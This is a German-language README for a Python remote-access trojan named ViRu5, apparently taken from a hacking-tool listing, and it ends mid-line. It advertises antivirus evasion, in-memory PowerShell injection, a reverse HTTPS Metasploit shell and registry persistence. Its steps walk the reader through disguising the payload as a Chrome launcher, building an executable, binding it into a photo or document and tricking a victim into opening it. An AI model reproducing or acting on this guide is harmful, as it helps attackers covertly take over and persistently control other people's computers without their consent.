python-rootkit

Dies ist eine vollständig unerkennbare Python-RAT, die fast alle Antivirenprogramme umgehen und auf jedem Windows-Rechner eine Hintertür öffnen kann, die eine umgekehrte HTTPS-Metasploit-Verbindung zu Ihrem lauschenden Rechner herstellt.

Lebenszyklus von ViRu5

• Umgeht alle Antivirenprogramme.
• Injiziert ein bösartiges PowerShell-Skript in den Speicher.
• Stellt eine umgekehrte HTTPS-Verbindung zum Angreifer-Rechner her.
• Überprüft alle 10 Sekunden, ob die Verbindung noch besteht. Falls nicht, wird eine neue Verbindung hergestellt.
• Fügt einen Start-Registry-Schlüssel hinzu, um sich nach einem Neustart wieder mit dem Angreifer zu verbinden.

Schritte

• Aktualisieren Sie die Parameter in viRu5/source.py mit Ihrer lhost und lport
• Ändern Sie den Namen von source.py in GoogleChromeAutoLaunch.py
• Fügen Sie GoogleChromeAutoLaunch.py, setup.py und Ihr Icon als icon.ico zum Verzeichnis c:\python27 hinzu
• Führen Sie in der Eingabeaufforderung aus:
  root@kitploit:~

  cd c:\python27 && python setup.py py2exe
  

• Finden Sie die RAT-Datei im Dist-Verzeichnis.
• Binden Sie es mit einem beliebigen Foto, PDF, Word oder einer anderen Art von Datei ein.
• Senden Sie es an das Opfer
• Nutzen Sie Ihre Social-Engineering-Fähigkeiten, um ihn dazu zu bringen, die Dateien zu öffnen
• Sie erhalten eine umgekehrte HTTPS-Metasploit-Verbindung :)

Getestet auf